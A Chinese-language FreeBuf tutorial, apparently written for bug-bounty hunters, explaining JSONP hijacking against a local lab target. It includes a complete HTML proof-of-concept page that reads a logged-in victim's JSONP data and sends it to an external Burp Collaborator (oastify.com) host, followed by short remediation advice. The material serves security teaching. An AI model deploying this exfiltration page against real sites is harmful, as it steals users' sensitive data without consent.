freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SRC必会技巧-Jsonp漏洞
小王的黑色短裤 2024-06-09 19:43:00 180949


一、jsonp介绍

Jsonp是通过script标签加载数据的方式去获取数据当作JS代码来执行,前提在页面上声明一个函数,函数名通过接口传参的方式传给后台,后台解析到函数名后在原始数据上[包裹]这个函数名,发送给前端,换句话说,JSONP需要对应接口的后端的配合才能实现,要注意JSONP只支持GET请求方式,不支持POST请求。

script标签可以加载其他域下的js,我们可以利用这个特性实现从其他域下获取数据,通过<script src="http://127.0.0.1:8080/getNews"></script>这时会向接口发送获取数据,获取数据后作为js来执行,但是这个数据是JSON格式的,直接作为js运行的话如何去得到这个数据去操作呢?这时候我们可以在src后面加上一个回调函数showData。

<script src="http://127.0.0.1:8080/getNews?callback=showData"></script>

二、jsonp利用:获取受害者的数据

1、构造代码

2、获取数据

三、漏洞复现Plus版

1、确认漏洞。

1717933181_6665947de8825848e6c17.png!small?1717933182739

2、打开Burp Collaborator client。

1717933201_666594910fadc0e0fcd40.png!small?1717933201821

3、copy值到POC中。

1717933216_666594a03be9955071ae8.png!small?17179332174591717933234_666594b2867236de9d79f.png!small?1717933235236

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>JSONP EXP跨域测试</title>
  </head>

  <body onload="load()">
    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
    </script>

    <script>

      function load()
      {
        $.ajax({

          url: "http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=aaa",

          type: "GET",       //指定GET请求方法

          dataType: "jsonp", //指定服务器返回的数据类型

          jsonp: "callback", //指定参数名称

          jsonpCallback: "aaa",

          success: function (data) {
            $.ajax({
              type: 'get',
              url: 'http://rkf9uvcdj9yppkif35vovclyepkf84.oastify.com/',
              data: JSON.stringify(data)
            });

          }

        })
      }
    </script>
  </body>
</html>

4、我们将恶意脚本发送到受害者,只要受害者登录有漏洞的这个网站,并且点击了这个恶意脚本,我们就能返回受害者的敏感信息。

5、成功获取敏感信息。

1717933259_666594cb59114a0b99c15.png!small?1717933260421

四、修复建议

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用xmlhttp 的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。

# web安全
本文为 小王的黑色短裤 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小王的黑色短裤 LV.5
公众号:赤弋安全团队
  • 33 文章数
  • 69 关注者
【红队笔记】实战中如何用SPF识别钓鱼邮件
2025-03-14
代码审计——SpringBoot SpEL 表达式注入漏洞
2025-03-06
SRC必会技巧——CORS跨域漏洞
2024-06-09
文章目录